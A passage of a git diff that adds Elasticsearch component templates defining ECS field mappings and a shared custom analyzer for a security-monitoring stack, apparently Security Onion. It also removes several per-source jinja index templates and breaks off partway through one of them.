b/salt/elasticsearch/templates/component/so/dtc-file-mappings.json @@ -0,0 +1,90 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-file.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "file": { + "properties": { + "accessed": { + "type": "date", + "fields": { + "keyword": { + "type": "keyword" + } + } + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-host-mappings.json b/salt/elasticsearch/templates/component/so/dtc-host-mappings.json new file mode 100644 index 000000000..a16c298a5 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-host-mappings.json @@ -0,0 +1,95 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-host.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "host": { + "properties": { + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-http-mappings.json b/salt/elasticsearch/templates/component/so/dtc-http-mappings.json new file mode 100644 index 000000000..05c9681ce --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-http-mappings.json @@ -0,0 +1,86 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-http.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "http": { + "properties": { + "request": { + "properties": { + "method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "referrer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "text": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-network-mappings.json b/salt/elasticsearch/templates/component/so/dtc-network-mappings.json new file mode 100644 index 000000000..daa1521c5 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-network-mappings.json @@ -0,0 +1,82 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-network.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "network": { + "properties": { + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "transport": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-observer-mappings.json b/salt/elasticsearch/templates/component/so/dtc-observer-mappings.json new file mode 100644 index 000000000..be1c05510 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-observer-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-observer.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "observer": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-process-mappings.json b/salt/elasticsearch/templates/component/so/dtc-process-mappings.json new file mode 100644 index 000000000..2b8d8abfb --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-process-mappings.json @@ -0,0 +1,97 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-process.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "process": { + "properties": { + "command_line": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + }, + "type": "wildcard" + }, + "name": { + "fields": { + "keyword": { + "type": "keyword" + }, + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "pid": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + }, + "ppid": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-rule-mappings.json b/salt/elasticsearch/templates/component/so/dtc-rule-mappings.json new file mode 100644 index 000000000..797f51a86 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-rule-mappings.json @@ -0,0 +1,82 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-rule.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "rule": { + "properties": { + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-service-mappings.json b/salt/elasticsearch/templates/component/so/dtc-service-mappings.json new file mode 100644 index 000000000..0e82f6698 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-service-mappings.json @@ -0,0 +1,82 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-service.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "service": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-source-mappings.json b/salt/elasticsearch/templates/component/so/dtc-source-mappings.json new file mode 100644 index 000000000..7f372aec4 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-source-mappings.json @@ -0,0 +1,74 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-source.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "source": { + "properties": { + "geo": { + "properties": { + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } + } + } +} + diff --git a/salt/elasticsearch/templates/component/so/dtc-syslog-mappings.json b/salt/elasticsearch/templates/component/so/dtc-syslog-mappings.json new file mode 100644 index 000000000..332538e0d --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-syslog-mappings.json @@ -0,0 +1,73 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-syslog.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "syslog": { + "properties": { + "facility": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + }, + "priority": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} + diff --git a/salt/elasticsearch/templates/component/so/dtc-user-mappings.json b/salt/elasticsearch/templates/component/so/dtc-user-mappings.json new file mode 100644 index 000000000..d0162d675 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-user-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-user.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "user": { + "properties": { + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-user_agent-mappings.json b/salt/elasticsearch/templates/component/so/dtc-user_agent-mappings.json new file mode 100644 index 000000000..ec5a58e3a --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-user_agent-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-user_agent.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "user_agent": { + "properties": { + "original": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-winlog-mappings.json b/salt/elasticsearch/templates/component/so/dtc-winlog-mappings.json new file mode 100644 index 000000000..09c157c1e --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-winlog-mappings.json @@ -0,0 +1,83 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "winlog": { + "properties": { + "event_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "record_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} + diff --git a/salt/elasticsearch/templates/component/so/endgame-mappings.json b/salt/elasticsearch/templates/component/so/endgame-mappings.json new file mode 100644 index 000000000..6a8adfa5d --- /dev/null +++ b/salt/elasticsearch/templates/component/so/endgame-mappings.json @@ -0,0 +1,93 @@ +{ + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "endgame": { + "dynamic": false, + "properties": { + "data": { + "properties": { + "malware_classification": { + "properties": { + "identifier": { + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "quarantine_result": { + "properties": { + "local_msg": { + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + }, + "event_subtype_full": { + "ignore_above": 1024, + "type": "keyword" + }, + "event_type_full": { + "ignore_above": 1024, + "type": "keyword" + }, + "metadata": { + "properties": { + "type": { + "ignore_above": 1024, + "type": "keyword" + } + } + } + }, + "type": "object" + } + } + } + }, + "_meta": { + "ecs_version": "1.12.2" + } +} diff --git a/salt/elasticsearch/templates/component/so/pb-override-destination-mappings.json b/salt/elasticsearch/templates/component/so/pb-override-destination-mappings.json new file mode 100644 index 000000000..68f69500d --- /dev/null +++ b/salt/elasticsearch/templates/component/so/pb-override-destination-mappings.json @@ -0,0 +1,72 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-destination.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "destination": { + "properties": { + "ip": { + "type": "ip", + "fields": { + "keyword": { + "type": "keyword" + } + } + }, + "port": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/pb-override-source-mappings.json b/salt/elasticsearch/templates/component/so/pb-override-source-mappings.json new file mode 100644 index 000000000..947daf0b7 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/pb-override-source-mappings.json @@ -0,0 +1,72 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-source.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "source": { + "properties": { + "ip": { + "type": "ip", + "fields": { + "keyword": { + "type": "keyword" + } + } + }, + "port": { + "type": "long", + "fields": { + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/so-file-mappings.json b/salt/elasticsearch/templates/component/so/so-file-mappings.json new file mode 100644 index 000000000..3f1188234 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/so-file-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-file.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "file": { + "properties": { + "flavors": { + "properties": { + "mime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/so-rule-mappings.json b/salt/elasticsearch/templates/component/so/so-rule-mappings.json new file mode 100644 index 000000000..3e792f17b --- /dev/null +++ b/salt/elasticsearch/templates/component/so/so-rule-mappings.json @@ -0,0 +1,59 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-file.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "rule": { + "properties": { + "score": { + "type": "long" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/so-scan-mappings.json b/salt/elasticsearch/templates/component/so/so-scan-mappings.json new file mode 100644 index 000000000..23e6142fc --- /dev/null +++ b/salt/elasticsearch/templates/component/so/so-scan-mappings.json @@ -0,0 +1,71 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-file.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "scan": { + "type": "object", + "properties": { + "exiftool": { + "type": "text" + }, + "pe": { + "properties": { + "sections": { + "properties": { + "entropy": { + "type": "float" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/custom/place_custom_template_in_local b/salt/elasticsearch/templates/index/custom/place_custom_template_in_local similarity index 100% rename from salt/elasticsearch/templates/custom/place_custom_template_in_local rename to salt/elasticsearch/templates/index/custom/place_custom_template_in_local diff --git a/salt/elasticsearch/templates/so/so-aws-template.json.jinja b/salt/elasticsearch/templates/so/so-aws-template.json.jinja deleted file mode 100644 index 19b23dfba..000000000 --- a/salt/elasticsearch/templates/so/so-aws-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-aws:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-aws:refresh', '30s') %} -{ - "index_patterns": ["so-aws-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-azure-template.json.jinja b/salt/elasticsearch/templates/so/so-azure-template.json.jinja deleted file mode 100644 index 51a266479..000000000 --- a/salt/elasticsearch/templates/so/so-azure-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-azure:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-azure:refresh', '30s') %} -{ - "index_patterns": ["so-azure-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-barracuda-template.json.jinja b/salt/elasticsearch/templates/so/so-barracuda-template.json.jinja deleted file mode 100644 index 66967d6d1..000000000 --- a/salt/elasticsearch/templates/so/so-barracuda-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-barracuda:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-barracuda:refresh', '30s') %} -{ - "index_patterns": ["so-barracuda-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-beats-template.json.jinja b/salt/elasticsearch/templates/so/so-beats-template.json.jinja deleted file mode 100644 index 6d2cf7851..000000000 --- a/salt/elasticsearch/templates/so/so-beats-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-beats:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-beats:refresh', '30s') %} -{ - "index_patterns": ["so-beats-*"], - "version": 50001, - "order": 11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - 